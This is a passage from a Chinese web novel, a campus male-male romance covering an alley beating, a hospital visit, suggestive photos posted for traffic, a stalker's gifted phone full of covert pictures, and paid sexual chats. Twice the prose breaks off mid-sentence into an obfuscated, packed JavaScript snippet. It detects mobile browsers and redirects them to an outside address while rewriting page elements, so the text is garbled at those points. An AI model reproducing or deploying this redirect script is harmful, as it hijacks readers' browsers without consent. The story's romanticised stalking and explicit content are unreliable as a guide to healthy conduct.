男生宿舍窜门是在正常不过的现象，但初雪的舍友一个个都跟见了鬼似的，脸上神色各有不同，随后步调统一地掏出手机敲字，生怕谢黎不知道他们在讨论他。 至于讨论的内容嘛，谢黎用脚指头都能想到。 无非不就是，初雪竟然带野男人回来了，谢黎在心里恬不知耻地想。 “野男人”按捺出唇边的笑，大摇大摆地走进宿舍，初雪将自己的凳子让给谢黎坐，独自去饮水机装水。 初雪的桌面堆满了杂物，没有一块地方是空的，这里一个小摆件那里一个水杯，几支笔分别分散在不同的角落，像是在摆什么阵法，非常具有独特性。 “不好意思，有点乱。”初雪将水递给谢黎，看着桌面挠挠脑袋，又为自己小声辩解了一句，“每次收拾好没多久就乱了，但阿黎你信我，这只是看似杂乱，实则各有章法。” 谢黎看着初雪笑了笑，缓缓点点头，“我当然相信学长。” - 谢黎没有待多久就离开了临水，有关于暧昧照的相关事宜不适合在宿舍说，他们便约定睡前再一起商量。 临渊书院在最南边，现在时间已经不早了，许多饭堂也都已经关门，路上仅有昏黄的路灯还在恪尽职守。 可谢黎偏偏要往黑处钻，不知道拐了多少条街，直至一个隐秘的角落，他终于停下了脚步。 “还想甩掉我啊？哥们儿，我劝你不该动的人不要动。”寂静的夜晚传来一道男声，一个黑影从暗中走出，杜华南甩着手上的指虎，“你要是识相点，我揍你一拳，你离开初雪，我就不跟你计较，不然你死都不知道怎么死的。” 带上指虎揍上一拳，少说也得掉两颗牙，杜华南敢在学校这么嚣张，背后肯定不是什么简单家庭。 谢黎眯起双眼，杜这个姓可不多见啊…… 谢黎的面部隐在黑暗里，让人看不清神情，杜华南见他对自己说的话丝毫不为所动，甚至连个屁都不放，怒骂道：“你知道我爸——” 话音还未落地，谢黎的脸就在这一息之间突进在他的面前，谢黎脸上没有任何的表情，眼底却泛着猩红，看他的眼神就像是个死物。 他的拳头就这样落了下来，结结实实地挨在他的脸上，仅仅只是一拳，杜华南只觉自己的脸骨好像折了，剧痛无比，脑袋被一拳捶倒到地上，又小幅度反弹了起来。 他尚且还有些意识，见谢黎垂着脑袋，一步一步缓缓地向他逼近，杜华南鼻涕眼泪流一地，双腿发抖，鞋跟搓着脚下的水泥地，裆部的布料颜色渐渐变深。 “你别、你别过来，你知道我爸……” “临北杜家。”谢黎跟拎鸡仔似的提溜起杜华南的领子，把话原封不动地还给他，“我劝你不该动的人不要动，不然你死都不知道怎么死的。” 杜华南惊恐地瞪大了眼睛。 这个乡巴佬怎么知道？他怎么知道自己主家在临北？这人到底是什么来头！ 他一下子就慌了，下意识就要搬出更高的靠山，“你别动我，你知道裴家吗，招惹我你就相当于招惹裴家！” “裴靳？”谢黎挑了挑眉，嗤笑道，“秦家呢？也有份？” “你到底是谁？”杜华南面色发白，整个世界突然旋转起来。 “嗯…让我想想你们怎么称呼我的。”谢黎摸了摸下巴，随后露出恍然大悟的神情。 杜华南晕厥前看到谢黎咧开嘴在笑，听到了他的回答。 “哦！谢家那个疯女人生的疯崽种。” - [雪梨：哥哥我回到宿舍啦！] 找人将杜华南送到医院，谢黎缩在宿舍里那张小小的凳子里跟初雪聊天。 [初雪：好哦，阿黎我跟你说，杜华南进医院了，好像是说从楼梯上摔下去了。] 学长怎么找他聊天的时候提别的男人啊，谢黎闷闷不乐地回复。 [雪梨：是吗？他没事吧？] [初雪：应该没什么大事，检查说是轻微脑震荡，舍友组织明天一起去看他。] [雪梨：那哥哥想去看他吗？] 谢黎知道自己下手的轻重，杜华南还没到医院就醒了过来，那一拳主要还是震慑作用，他也不想在学校惹事，很麻烦而且耽误事。 叮咚一声，屏幕弹出一条新消息。 [初雪：唉，去看看吧，虽然我超级讨厌他。] 看到讨厌二字，谢黎扬起嘴角，颊边酒窝显现。 [雪梨：那我陪哥哥一起去吧，他和覆面哪个更讨厌？] 很快，对面有了回复。 [初雪：那还是覆面更讨厌一点。] 谢黎的酒窝被填平了，可转瞬间又捧着手机聊了起来。 覆面讨人厌关他谢黎什么事？他可是学长的好学弟。 初雪和谢黎沟通好明天晚上发照片，他们轮流整理照片，因相机卡和读卡器在谢黎身上，这一次就由谢黎把相机的照片打包好，两人商量挑三到四张当引子发出去。 看看能钓到哪一条大鱼。 临睡前，谢黎打开了知名购物软件。 让他想想，学长最近差些什么小玩意儿呢？好让覆面能赔赔罪，拉高一点好感度。 17.第 17 章 住院部有一股淡淡的消毒水气味，这里不像是电影中那般阴沉，白炽光把整个护士站和走廊照得发亮，其中还设有生活区，放置了微波炉冰箱等，供家属或病人使用。 “501，502……505。”皮鞋踩在瓷砖地面上，发出哒哒的声响，初雪找到杜华南的病房，朝身后招招手，“到了阿黎。” 他刚刚才下班，马甲挂在臂弯上，身上的制服没来得及换，时间紧、任务重，看望完杜华南还要赶着回学校，临大十一点半有门禁。 谢黎跟在初雪的身后，看向初雪的背影，他皱了皱眉。 昨天就已登场的衬衫现在被夹进西装裤里，当时灯光暗，谢黎的注意力也不在这件衬衫上，直到现在才发现，初雪后腰那块布料扁扁塌塌，其上还有一条明显的横向褶皱。 谢黎撑开手掌，在初雪看不见的角落，用手指丈量初雪的腰身。 是不是定制得偏大了？ 当时也只是草草地掐了一把腰，回想起昨晚的手感尺寸，现在倒是有了几分把握。 初雪将门推开，病房内，杜华南住的是单人间，他坐在病床上，正抓着手机打字，听到声音他随意地抬头看了一眼，在看清初雪的那一刻，他慌乱地将手机塞进了被褥里。 “你还好吗？” 初雪没发现杜华南的异常，他拎着果盘，只是随手往床头柜一搁，算是报了平安。 因为要打工，初雪来的稍晚了些，其他舍友都已经回学校了。 杜华南眼神深切地看着初雪，张嘴正要回答，一个人影却突然闪现在他的面前，隔断了他望向初雪的那道视线。 谢黎微微眯起眼睛，满是警告，偏偏嘴里是让人挑不出毛病的关心：“怎么会从楼梯上摔下来？太不小心了。” 杜华南惊恐地看着面前的谢黎，他的脸颊隐隐作痛，欲出口的话梗在喉间。 初雪的视线被谢黎宽厚的后背遮挡住，并没有察觉出任何的异样。 “咔哒——” 就在这时，病房门又响起了开门声。 紧接着，一道温和沉稳的男音传来，“华南，现在感觉怎么样？” 初雪循声瞧去，只见一个带着扁平方框眼镜的斯文男人踏步而来，两人对视的一瞬间，他朝初雪颔了颔首。 “裴哥！”杜华南直起腰，又用余光暗暗看了谢黎一眼。 看到此刻谢黎面皮绷得发僵，他心里很是畅快，不枉他跟裴靳泄露了初雪会来病房的消息，只要两人一碰面，狗咬狗，裴靳再拆穿谢黎的真面目，他就能坐收渔翁之利。 裴靳镜片上掠过一道冷光，病房内的气氛沉闷，他的视线三人身上来回穿梭，开了个玩笑缓和道：“没想到在这里能碰到你俩，我还以为你们的关系不好。” 初雪赔笑两声，那笑容略显僵硬。 好在裴靳并没有继续这个话题，转头跟杜华南嘘寒问暖起来，车轱辘的体面话来回说。 初雪好歹还会敷衍两下，谢黎却是直接沉了脸色。 安静垂在身侧的手指被轻轻勾起，谢黎回头望去，脸色也在一瞬间由阴转晴。 初雪悄咪咪地用口型询问谢黎：“他是谁啊？” 竟是对裴靳一点印象都没有了。 谢黎嘴角勾起，心中滋生阴暗的快意，见过一面又如何？他的哥哥才没心思记什么裴哥秦哥的。 还没等两人互换情报，坐在病床上的裴靳似有所感，抬起头，“谢黎，等等你们是要回学校吗？” 他的气质很谦和，让人如沐春风。 “嗯。” 谢黎不动声色地往前挪了一小步，将初雪藏在自己身后。 裴靳见状站起身来，看着谢黎这如临大敌的模样，他的眼眸别有深意。 他从口袋里掏出车钥匙，笑道：“那正好，我们一道回去吧，我也住在那附近，顺路。” 闻言，初雪抬眼看了眼谢黎，照往常他的性子来说，并不会这么轻易接受别人的好意，毕竟钱债易还人情难偿，可学弟目前经济实在困难，初雪更在乎他的想法。 可没想到，谢黎也往他的方向看来，两人对视着，他好似也在询问初雪的意见。 初雪咬了咬唇，心一横，应了下来，“那麻烦裴先生了。” 大不了等等他偷偷给裴先生一点钱，算是车费了。 裴靳摁了摁手上的遥控器，停下医院地下车库的迈巴赫s680闪出冰蓝的光。 这炫酷的银黑色车身看得初雪双眼发亮，没有哪个男生不爱车，初雪也免不了俗，特别是豪车，整体的车型就够让人心动。 谢黎见初雪眼珠子都要黏在车上，一把拉开后门，抓着初雪的手腕就要塞他进去，虽急躁，但手还记得绅士地护着初雪的脑袋。 初雪见谢黎也要钻进后门，用手抵在他的胸口推了推，“阿黎，要不你坐副驾驶吧？” 他们两个人都坐在后座，跟把裴靳当司机似的，不太礼貌，毕竟人家好心才会送他们俩回学校。 谢黎咬了咬后槽牙，看初雪还在为裴靳考虑，万般苦衷不可言说，但只得听话往副驾驶走去。 他才不信裴靳出现在医院是个巧合，杜华南跟裴靳私下有联系，大概率就是杜华南叫来的。 为了谁而来，不言而喻。 迈巴赫行驶在路上，城市的霓虹光在初雪的脸上闪烁，整个路程非常安静。 初雪身旁，有只包装袋瘫倒在汽车的后座上，其上的LOGO格外眼熟，初雪没忍住多看了两眼。 “那个是你们学校东门的蛋糕店，很好吃。”安静的车内终于有了人声，初雪跟后视镜里的裴靳对视。 “对喔！”初雪恍然大悟，终于认出了这个LOGO，他经常打工或者上课累了，就会去东门买块蛋糕安慰自己，见有人与自己的口味相似，初雪不由得多问了一句，“裴先生也爱吃这家店？” 裴靳都开上迈巴赫了，没有想到竟然也会吃这样的平价蛋糕店。 坐在副驾驶的谢黎双手环抱着胸，震惊地扭头看向驾驶座，还没等裴靳回答，他故作淡定地插话，“是哪一家？好吃吗？学长怎么没有跟我说过？” 初雪没意识到谢黎的小心机，直接将包装袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241204|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递给他，“seven cake，我挺喜欢吃的，下次带你去吃。” 裴靳睨了眼谢黎，唇边含着笑意，漫不经心道：“我特别喜欢吃seven cake的提拉米苏盒子蛋糕。” “我也是！”初雪惊喜地睁大了眼，没有想到和裴靳就连吃的蛋糕种类都是一致的，“是那一款有些发苦的蛋糕吗？” “对，还有同类型的马斯卡彭提拉米苏也不错，主要是喜欢其中的咖啡风味。” 谢黎听他们俩这一言那一句，眉头越锁越深，偶有几次想岔开话题，却又被裴靳扯回。 “哦对了，我朋友刚好临时有事，空了两张面包节的票。”裴靳不知道从哪里抽出来了两张纸质票，一张递给了谢黎，一张给初雪，“seven cake也在受邀名单，你们看看感不感兴趣。” 初雪对吃的格外感兴趣，借车外的霓虹光，他轻声念出票上的信息，“临州面包生活节，在周日啊。” 初雪的尾音有点遗憾，周日他可能要上班。但遗憾也证明了他确实对这个面包节很感兴趣。 另一边，谢黎听出初雪的内心想法，观察着手上的票，看清自己票上的日期后，他额头上青筋倏地暴起。 和初雪周日的票不同，他的票是周六的。 谢黎扭头瞥了眼裴靳，却见裴靳冲着他似笑非笑。 他是故意的，故意给两张不同日期的票恶心他，偏偏他只能收下。 当场发作不要这张票就相当于拱手放初雪跟他接触，要了这张票就要咽下这口恶气，转头还要感谢给票的裴靳，纵使谢黎有千百种方法将手中的票换成周日，也不妨碍他现在跟吃了口苍蝇似的。 越到临大，路上的车越多，大学城经常容易堵车，车子停在路中间，裴靳拇指下意识和食指中指相互摩擦，烟瘾犯了，他从后视镜看向初雪，声音沙哑，“可以考虑考虑不用这么着急决定，我们先加个联系方式吧，届时沟通也方便。” “好——” “加我的吧。” 初雪刚要从口袋里掏出手机，谢黎已经把码亮出来了。 “等等拉个群就行，一个个加过去多麻烦，裴先生微信里也没那么多好友空位吧。”嘲讽裴靳滥交，遇到一个加一个，遇到一个睡一个。 淡淡的语气里火药味十足，初雪都能感受到谢黎话里的小情绪。 等下了车，初雪偷偷从马甲口袋里掏了几张酒吧客人给的小费放在后座，权当从医院回来时的车费，连同谢黎的一起。 “阿黎今晚心情不好吗？”初雪和谢黎并肩走在校园内。 谢黎惊叹于初雪对他人情绪变化的敏感度，他当然不能跟初雪抱怨票上日期的问题，这样显得他很小气，“没有啊哥哥。” “那就好。” 谢黎既然说没有，他就信了，初雪并没有感受到裴靳身上的恶意，所以也想不到谢黎其实是从根本上就讨厌裴靳。 谢黎不愿再跟初雪去聊其他男人，他把话题转移到他们俩身上，“哥哥，照片我都剪好了，等等回到宿舍就一并发给你，今晚就能发出去。” 18.第 18 章 谢黎的执行力很快，初雪刚洗漱完他就把照片打包好发了过来。 还特别帮忙挑了几张，问初雪喜不喜欢。 一共有四张照片，照片里，夕阳浅黄的光印在初雪瓷白的半肩和饱满的长腿上，他跨坐在学弟的大腿上，学弟单手就能把那细月要牢牢锢住，相机连他手背上的青筋都拍得清清楚楚，细月要在那只大手下塌陷，静态的照片竟能意丨淫出照片中人的颤抖，镜头下滑，白衬衫将不可言说遮挡得严严实实，让人不禁好奇这底下到底是不是空的。 很快，下一张照片就暴露了答案。 这是一张live图，两秒的时长记录着当时的实况，可怜的宝贝撑着身下人的腹肌，难耐地扭动着月要肢，在男人的大腿上摩擦，好像他真长了个批，而男人又不愿意满足他，恶意地端坐在那儿，养得他受不了，把声音打开，还能听见似有若无的喘息。 初雪就看了一眼，脸颊立马红得像小番茄，偏偏表情还是一脸认真，仔仔细细地检查照片有没有露出脸，确认两人都没有暴露面部，初雪继续往后滑。 屏幕上照片一出，初雪刚瞅一眼，吓得手机都差点掉在地上。 这一张跟第一张大致相同，唯一的差别就是学弟身上穿的灰色运动裤。 初雪又回想起来那炙热的烫意，他的腿抵在大大的古煲上面，若隐若现，不仅如此，坐着的布料也“湿”了一大片，灰色的裤子一浸水颜色就会变深变黑，这照片看着就像是他真的磨着就喷水了。 初雪咬了咬嘴唇，显然是学弟帮忙p图了，而且p得非常自然，他要不是当事人之一，可能都要被骗过去。 滑到最后一张图片，这一张是谢黎把他摔在沙发上后的图，当时他的意识已经不清醒了，属于是计划之外，或许是他们都在状态内，这张图拍得也很自然，初雪颤颤巍巍的小腿肚勾在谢黎的腰上，谢黎衣裤半解，松松垮垮的挂在公狗腰上，黑色的内裤的松紧带暴露在镜头下，其上还印着白色的英文字母。 将四张图放上小白鼠，初雪绞尽脑汁想出来个标题，跟谢黎确定后，再点击发送。 [照片][live图][照片][照片] 【下班被同事送回家，被他看到了。】 发出去后，初雪把手机一扔，抓起换洗衣物就进浴室洗澡。 他不想一直焦虑地看着数据，小白鼠的推流机制有很强的不确定性，流量是个玄学，他非常担心跟学弟这么折腾过后，还得不到一个好的结果。 另一边，谢黎得知初雪发帖后，迅速打开小白鼠，准备买大量流量进行推流工作。 能用钱解决的事情，谢黎就不会靠运气，同理，能用钱买到学长开心，砸进去多少对谢黎来说也就是个数字罢了，就是这精准推流，让谢黎有点摸不准头脑。 “谢哥你干啥呢？”关十一的声音如同天籁。 谢黎连忙将手机递过去，问道：“这种类型的图文帖精准推要怎么选？” 关十一看了眼屏幕，“哇塞！男同。” 现代人对同已经见怪不怪，关十一只是感叹了一声。 “所以性别选择男的？”谢黎皱了皱眉，私心上不想让更多的男性看到这张图。 男的最懂男的，他怕初雪的私信里99＋骚扰信息，结果0个人想花钱，但这种照片怎么看也是选男性更好。 “当然是选女性啊。”关十一听到谢黎这么说，立刻反驳道。 谢黎狐疑地看向关十一，“女性？确定吗？” “包的啊谢哥，啧啧啧，这你就不懂了吧。”关十一摇头晃脑，看起来对这方面颇有了解，“三次男同哪有腐女多，这种偏美型的照片她们超爱看，而且小白鼠本来就是女性群体更多，选女性准没错的。” “好，信你。”谢黎把群体性别选择调换，继续请教，“那下面这些标签分类怎么选。” 关十一只看一眼，立马就有了答案。 “二次元，读书，绘画，不用多，就这三个，精准锁定99%的腐女。” 谢黎不懂，但他照做，选完后他选了个流量最多的套餐，靠钞能力将初雪的帖子投出去，同时，他切到后台，点开微信分身，发了条消息。 [X:现在送过去。] 对面很快有了回信。 [临大飞毛腿：好嘞老板。] 初雪洗完澡后，迟迟不敢打开手机看，他之前的流量就很差，留不住人，同时这种双人照在小白鼠并没有很流行，他们俩算是第一批小螃蟹，一切都未可知。 “初雪——！” 初雪应声抬头，只见宿舍窗户外有个男生在朝他招手。 他把手机放下，暗暗松了一口气，至少现在有个理由能逃避，初雪推开宿舍门。 “又有你的包裹。”一个巴掌大的淡黄色快递盒递到初雪面前，初雪神色疑惑。 又？他的眼睫颤颤，看着面前的男生认了好久，这才想起来，上次也是他给送来的三件套套装。 “我不要。”初雪赶紧是后退了一步，手都藏在了背后，“你给他送回去。” 飞毛腿脸上露出了为难的表情，“不行的啊，老板说务必让我送到你的手上，送回去我也不知道送哪儿去啊。” 初雪皱了皱眉，“他给你的时候你没有看见他本人？” “没有，跟上次一样，他就让我去驿站帮他取。”飞毛腿怕初雪真的不收，抓着盒子就要往他身上找地方塞。 驿站并没有快递的任何信息，之前的套装初雪也去查过，就连快递单都没有贴，更别说入库。 飞毛腿也品出了点儿异常，老板莫名其妙给他删了又用别的微信号找他，平时连面都不敢露，再加上初雪这反应，估计是被强制送礼，但X给他的钱实在是太多了，一单抵十单，哪有不做的道理。 想到这，他又劝了两句，“初雪，你就收着吧，到时候要丢还是留都可以自己处理。” 初雪没办法只能接了过来，这盒子看着小，拿起来还有点重量，不知道里面装了些什么，不知道里面会不会又有什么脏脏的照片，初雪开快递盒开得小心翼翼。 外包装打开后，一个包装精美的盒子呈现在眼前，万幸，没再看到可疑的信封，初雪将盒子打开，其内躺着一部崭新的最新款安卓手机。 初雪嘴唇抿紧，覆面到底在哪里监视他？为什么连他用安卓手机都知道？ 他将手机拿起来，原以为手机还处于出厂设置时期，可没想到，一感受到重力变化，手机的智能模式直接启动，亮了屏。 锁屏上，他坐在课室内的图片赫然在上。 照片有些模糊，还隔了一扇窗户，从中可以看出，拍照者离他很远，临大的教学楼装修呈回字形，镜头和他的课室隔了一整条走廊，在他上课的教室对面拍的。 他上学期的课表在学校里疯传，这学期还没到两个月，课表又泄露了？ 可自从他接连拒绝十多个人后，已经很少人会卖他的课表了，更别说之后还把所有的联系方式都关闭。 难不成覆面找到了自己的同学？他那么有钱，估计拿到个课表并不难。 初雪紧缩眉头，手指习惯性地滑了下屏幕，咔哒一声，意外地将屏幕锁打开，他的心跳猛地漏了一拍，指尖颤着抖，瞳孔也缩成了针尖。 壁纸内，他趴在课室午睡的模样印在其中，他半张脸隐匿在臂弯下，这个镜头近到能看清他脸颊上的血丝和熟睡的嫩粉，甚至连他的睫毛有几根都数得清。 覆面曾经跟他的距离，仅有十公分，说不定连他呼出的气都能闻到，而他在睡觉，什么也不知道。 初雪的鸡皮疙瘩掉了一地，再仔细看一眼壁纸，才看到上面的一行小字。 [宝宝，好想试试跟你在课室里，把东西弄到你的脸上你会生气吗？] 初雪气死了。 他的太阳穴突突直跳，头发都炸起来几根，好想把手上的手机甩出去，但理智和教养告诉他不行。 这覆面真是狗改不了吃屎！！！ 不对。 他才不是屎。 初雪把手机塞回盒子里，眼不见为净，随后从桌子上拿起自己的手机，该来的总是会来，初雪将小白鼠点开。 小白鼠打开时默认是推荐页面，刚开出来，消息专栏一点消息也没有，初雪叹了一口气。 果然还是不行吗？ 下一刻，他的小白鼠卡了一瞬，初雪一眨眼的功夫，原本安安静静的消息专栏，突然间跳出了红色的圆点。 圆点写着99＋。 初雪揉了揉眼尾，点进消息页面。 小白鼠的消息最多只显示99＋，只见其上的赞藏、新增关注以及评论，全是99＋。 初雪简直不敢相信自己的眼睛，就连最初他刚开始做暧昧照的时候，也从没有这么好的数据过。 初雪赶紧点开自己的帖子，只见短短三十分钟，帖子的赞藏总数就已经到了3000＋，甚至还没有停，还在不停地向上涨。 他的粉丝数也在这三十分钟内涨了三百多个，虽说涨的远没有之前掉的多，但现在他的数据终于开始运转，初雪不由得露出真心的笑容。 就是评论区有点奇怪。 之前他的评论区大多数都是在问他的城市，或者直白地问要不要约，当火包友，而现在，他的评论区更加狂野。 【雪饼啊啊啊啊更新了更新了更新了，就是这个野男人是谁？嘶…这个姿势有点眼熟。】 【对不起雪饼宝宝，我下次一定会小心，不会再被你老公看到。】 【代入小三给你们代爽了吧，雪饼吃得消吗？在车上就已经……回家还……】 【楼上偷偷代被我发现了哈~】 【雪饼不乖哦，都弄脏地板了，我勉为其难来帮你收拾吧[舔舔舔.jdp]】 【写作勉为其难读作乐在其中。】 【[卧槽！恶俗啊.jpg]】 【这体型差，p3那个分量，感觉能一步到胃，雪饼会不会被顶吐啊。】 【[扯裤子.jpg][哦，我想起来了.jpg][我是个女孩子.jpg][凭什么我没有#.jpg]】 【见太多白斩鸡了，这个攻方身材好爽，啥都没露性张力拉满了，p4连着的吧嘻嘻嘻。】 【住嘴！你们不许这么说雪饼宝宝了！！！宝宝别怕，妈妈给你找了个大的，等等……宝宝你别坐啊啊啊啊啊。】 首评还是雪饼甜甜，评论区两百多条评论，一条比一条露骨，他们好意思打字发出来初雪都没好意思看，他发了条评论回雪饼甜甜。 【雪饼:用了甜甜主页的图做灵感喔，@雪饼甜甜 大家可以关注一下甜甜，她画的图片特别好看哒。】 很快，他的回复下又建起了高楼。 【卧槽，同人女巅峰时刻，蒸煮照着做饭吃。】 【同人女留下了羡慕的泪水。】 【什么喔的哒的，感觉全塞进去雪饼宝宝还会软乎乎地说这样不对呢~】 【甜甜大神能画得再涩一点吗？】 初雪看完评论，转而去看私信。 不同于评论区的热闹，他的私信仅有两条。 是因为现在帖子吸引的都是女生吗？不过现在这个结果他已经很满意了。 出乎初雪的意料，两个私信中，有一个私信是品牌的消息，问他接不接广告，这是个内裤品牌。 初雪点进品牌主页一看，发现这是个做女装内衣裤的商家，他有点尴尬地回了条消息。 【雪饼：你好，我想你可能误会了，我是个男生。】 商家很快就回了信息。 【悠悠小店：亲亲，我们知道您是男生，我们可以按照您的尺寸为您量身定做一款合适的内衣裤，您只需要穿上我们的产品拍个照挂个链接就好，上衣下身都是可定制的！】 初雪看到回复的信息喉结滚了滚，知道他是男生还卖女装的产品吗？难不成是因为他的照片吸引女性群体的原因？ 【雪饼：我需要考虑一下。】 【悠悠小店：可以的亲亲，这样吧，您先量好自己的尺寸，我们将产品发给您，您看看适不适合，后续可以再商量的哈。】 【雪饼：好。】 这是最稳妥的方式，初雪从没有接过这类实物广告，之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241205|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是接的游戏口播，同样，实物类广告的广告费也更高。 跟商家聊完，初雪点开另一个私信。 【想舔小雪：博主，你的照片拍得好漂亮，我是你粉丝，你所有的照片我都买一套，能给个联系方式吗？】 初雪撇了撇嘴，这人刚刚才关注他，感觉就像是来骗他联系方式的。 之前也不是没遇到过，一加上死活不提转钱的事，还想白嫖他自拍照，初雪拒绝得干净利落。 【雪饼：不可以喔，都是走第三方平台。】 对面秒回信息。 【想舔小雪：十套。好友通过即刻转账。】 【雪饼：CX#@％】 初雪终究是屈服于金钱的淫威之下，不知道这个十套是不是真的，但现在只有这么一个人向他买照片，他不考虑自己也得考虑学弟，学弟连车都不舍得打了，十套照片卖出去，足够两人生活好长一段时间。 把添加好友功能打开后，很快就弹出一条新好友消息，对面的微信名和小白鼠的账号名一模一样。 不叫雪饼，不叫小饼，偏偏叫的是小雪，初雪抿紧唇瓣，一般这个称呼只有妈妈在叫，加上想舔两个字，又让人想起某个类似的同音词，臊得慌。 这人真是讨人厌。 [想舔小雪：[微信转账￥20000，备注：自愿给予]] [初雪：谢谢老板[开心.jpg][已收款￥20000]] 初雪收到钱，立马就叩开线条小狗的小窗口。 [初雪：阿黎阿黎！！！发财了！] [初雪：[微信转账￥10000]] 谢黎看着屏幕上又转回来的一半，皱了皱眉。 不是说三七分吗？怎么学长这直接砍半给他发回来了。 [雪梨：哇！好多，哥哥怎么给我转这么多？] [初雪：我们的帖子爆了！有个冤大头直接买了十套。] 谢·冤大头·黎看到信息笑了笑。 [雪梨：那真是太好了。] 算了，哥哥想五五分就五五分，他多给一点就是了。 转回微信小号，谢黎嘴角仰起恶劣的弧度。 [想舔小雪：小雪宝宝之前拍的都是单人照？你的姘头呢？] 这人果然讨人厌，初雪半边脸颊微微鼓起，什么姘头啊，说得这么难听，学弟……是他的朋友！ 初雪叹了一口气，但从另一个角度来说，虽然学弟确实是他的朋友，但是对外界，初雪不能说两人的真实关系，特别是从小白鼠来的外人，这样会让人觉得他们在做剧本。 初雪拿起手机啪啪打字。 [初雪：你好不礼貌，那是我男朋友。] 对面很快有了回音。 [想舔小雪：啊…你男友啊，行吧，那我做你的姘头吧。] 这个人是怎么回事，这个姘头的名头非要找人安上是吗。 初雪不想理他，可没多久，对面立马甩来了转账通知。 [想舔小雪：[微信转账￥200，备注：理我]] 有转账不领那是傻子，初雪手比脑子快。 [初雪：好哒老板[开心.jpg][已收款￥200]] 打出的信息没有半点个人感情，只有对金钱的渴望，就像个收钱的小机器人。 [想舔小雪：宝宝，你男朋友知道我们在聊天吗？被他发现了怎么办？同事只是送你回家都被玩成这样了，被他发现我们在聊丨丨骚，你会不会直接晕过去啊？] 初雪两眼一黑，这人是真的不知道文案是假的还是在故意逗他玩？他有点后悔收200块了。就在初雪犹豫怎么回信息时，对面又转来了两份200块。 [初雪：他不知道，我会小心点，不被他发现。] 谢黎看到初雪的回复，被子上支起一小块，他开始幻想初雪偷偷摸摸藏在被子里，背着“男朋友”，给他这个小三发暧昧信息，小心翼翼地说不会被男朋友发现。 不管他是“没用的丈夫”还是“嚣张的小三”，都爽得头皮发麻。 [想舔小雪：宝宝，可不可以看看批。] [初雪：？] [想舔小雪：说错了，看看腿[微信转账￥1000]] 初雪馋那个钱，可他的床上没有床帘，这么拍照可能会被舍友发现，他只好从床上爬下去，走到厕所去拍，站着拍也没办法拍出多少姿势，初雪只是把睡裤褪下，拉着上衣衣角，挡住关键位置，按下快门键。 可拍完对面却不满意。 [想舔小雪：这个图也太糊了，宝宝能拍得清晰一点吗？] 新的暧昧照是相机拍出来的，他的手机像素太低，还容易曝光。 初雪站在浴室里纠结，手机也没再弹出新的信息。 冤大头怎么不继续喊他理人了？难不成是觉得他麻烦吗？ 毕竟冤大头才是金主，初雪狠狠地咬了口口腔嫩肉，穿上裤子回宿舍将覆面送给他的新手机拿了出来，重新拍了一张发过去。 这次的照片非常清晰，虽然跟相机的没法比，但跟他的旧手机相比就是一个天一个地。 初雪膝盖上还透着点微粉，全身上下都白嫩嫩的，好像抓一把能渗出水。 [想舔小雪：宝宝你真的好美啊，我今晚用你的照片做坏事可以吗？] 这种照片发出去谁都明白是什么意思，他要拿照片打印出来也好，存进相册也罢，干什么初雪都不知道，偏偏这人要问一句可不可以干坏事，真的是心底里坏透了。 初雪手指重重地点击屏幕，脖子上的胸锁乳突肌起起伏伏。 [初雪：可以哒。] …… 裴靳睡前百无聊赖地刷着手机，刚刚他在车座后面找到五十块现金，同时谢黎顶着个幼稚头像也给他转了五十，这俩人真是让人哭笑不得。 刷着刷着，他的手一顿。 屏幕上，一个身材极好的青年坐在另一个人的腿上。 live图上更是让人血脉喷张。 他脑子里幻想着图片中这两个人左丨丨爱的模样，慢慢地来了感觉。